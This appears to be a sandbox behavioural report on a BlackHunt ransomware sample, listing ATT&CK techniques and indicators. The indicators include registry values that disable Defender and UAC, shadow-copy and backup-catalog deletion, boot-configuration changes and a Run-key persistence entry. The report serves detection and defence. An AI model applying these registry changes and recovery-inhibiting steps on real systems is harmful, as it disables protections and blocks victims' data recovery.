9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1

Data Destruction

T1485

pid	Process
4348	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
4744	bcdedit.exe
1568	bcdedit.exe

Renames multiple (593) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4452	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\Q:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\W:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\I:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\L:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\B:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\O:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\P:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\R:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\T:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\M:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\J:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\Z:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\Y:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\U:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\K:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\E:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\H:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\X:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\V:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\G:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\A:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\S:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened (read-only)	\??\N:	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\packager.jar	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.hta	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#BlackHunt_ReadMe.hta	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gl.txt	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_sv.properties	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management\snmp.acl.template	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\#BlackHunt_ReadMe.hta	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\dotnet\shared\#BlackHunt_ReadMe.hta	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaSansRegular.ttf	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\libxml2.md	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\US_export_policy.jar	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_ReadMe.hta	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\directshow.md	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\de\#BlackHunt_ReadMe.hta	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#BlackHunt_ReadMe.txt	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\#BlackHunt_ReadMe.hta	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\zlib.md	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\joni.md	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\xerces.md	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\jfxrt.jar	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jpeg.md	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jvisualvm.txt	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\Java\jdk-1.8\lib\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\CIEXYZ.pf	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\localedata.jar	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jce.jar	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#BlackHunt_ReadMe.hta	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_ReadMe.hta	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hu.txt	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\vi.txt	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\CompareReceive.eps	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaTypewriterRegular.ttf	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\Java\jdk-1.8\legal\jdk\#BlackHunt_ReadMe.hta	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\asm.md	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\tzdb.dat	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#BlackHunt_ReadMe.txt	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_TW\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\#BlackHunt_ReadMe.txt	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\vlc.mo	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\charsets.jar	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mn\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\#BlackHunt_ReadMe.txt	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\7-Zip\7z.sfx	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\dotnet\ThirdPartyNotices.txt	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_Private.key	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmticmlr.h	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_MoveDrop32x32.gif	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jfr.jar	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_ReadMe.txt	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4864	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1600	vssadmin.exe
3404	vssadmin.exe
3084	vssadmin.exe
3312	vssadmin.exe
468	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
Token: SeRestorePrivilege	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
Token: SeBackupPrivilege	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
Token: SeTakeOwnershipPrivilege	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
Token: SeAuditPrivilege	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
Token: SeSecurityPrivilege	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
Token: SeIncBasePriorityPrivilege	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
Token: SeBackupPrivilege	3100	vssvc.exe
Token: SeRestorePrivilege	3100	vssvc.exe
Token: SeAuditPrivilege	3100	vssvc.exe
Token: SeBackupPrivilege	5816	wbengine.exe
Token: SeRestorePrivilege	5816	wbengine.exe
Token: SeSecurityPrivilege	5816	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1968 wrote to memory of 1244	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	172
PID 1968 wrote to memory of 1244	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	172
PID 1244 wrote to memory of 1060	1244	reg.exe	91
PID 1244 wrote to memory of 1060	1244	reg.exe	91
PID 1968 wrote to memory of 3800	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	213
PID 1968 wrote to memory of 3800	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	213
PID 1968 wrote to memory of 3328	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	211
PID 1968 wrote to memory of 3328	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	211
PID 1968 wrote to memory of 1456	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	95
PID 1968 wrote to memory of 1456	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	95
PID 1968 wrote to memory of 5072	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	93
PID 1968 wrote to memory of 5072	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	93
PID 1968 wrote to memory of 3232	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	97
PID 1968 wrote to memory of 3232	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	97
PID 3800 wrote to memory of 3644	3800	cmd.exe	209
PID 3800 wrote to memory of 3644	3800	cmd.exe	209
PID 3328 wrote to memory of 1676	3328	cmd.exe	98
PID 3328 wrote to memory of 1676	3328	cmd.exe	98
PID 1968 wrote to memory of 864	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	208
PID 1968 wrote to memory of 864	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	208
PID 1968 wrote to memory of 4272	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	207
PID 1968 wrote to memory of 4272	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	207
PID 1968 wrote to memory of 964	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	206
PID 1968 wrote to memory of 964	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	206
PID 1968 wrote to memory of 4440	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	204
PID 1968 wrote to memory of 4440	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	204
PID 1456 wrote to memory of 1628	1456	cmd.exe	203
PID 1456 wrote to memory of 1628	1456	cmd.exe	203
PID 5072 wrote to memory of 3984	5072	cmd.exe	102
PID 5072 wrote to memory of 3984	5072	cmd.exe	102
PID 1968 wrote to memory of 2408	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	202
PID 1968 wrote to memory of 2408	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	202
PID 1968 wrote to memory of 2692	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	105
PID 1968 wrote to memory of 2692	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	105
PID 1968 wrote to memory of 5008	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	201
PID 1968 wrote to memory of 5008	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	201
PID 1968 wrote to memory of 2132	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	200
PID 1968 wrote to memory of 2132	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	200
PID 1968 wrote to memory of 3844	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	107
PID 1968 wrote to memory of 3844	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	107
PID 1968 wrote to memory of 3932	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	197
PID 1968 wrote to memory of 3932	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	197
PID 3232 wrote to memory of 4492	3232	cmd.exe	108
PID 3232 wrote to memory of 4492	3232	cmd.exe	108
PID 4440 wrote to memory of 2884	4440	cmd.exe	164
PID 4440 wrote to memory of 2884	4440	cmd.exe	164
PID 1968 wrote to memory of 468	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	194
PID 1968 wrote to memory of 468	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	194
PID 1968 wrote to memory of 916	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	192
PID 1968 wrote to memory of 916	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	192
PID 4272 wrote to memory of 2976	4272	cmd.exe	110
PID 4272 wrote to memory of 2976	4272	cmd.exe	110
PID 1968 wrote to memory of 2164	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	190
PID 1968 wrote to memory of 2164	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	190
PID 1968 wrote to memory of 3412	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	189
PID 1968 wrote to memory of 3412	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	189
PID 1968 wrote to memory of 2304	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	188
PID 1968 wrote to memory of 2304	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	188
PID 864 wrote to memory of 1092	864	cmd.exe	186
PID 1968 wrote to memory of 4980	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	185
PID 864 wrote to memory of 1092	864	cmd.exe	186
PID 1968 wrote to memory of 4980	1968	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe	185
PID 964 wrote to memory of 4912	964	cmd.exe	112
PID 964 wrote to memory of 4912	964	cmd.exe	112

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	9dd327962921fb6604b1359ae4c41e2b8cc6c65567dfb7a10c03189aa7ead4a1.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
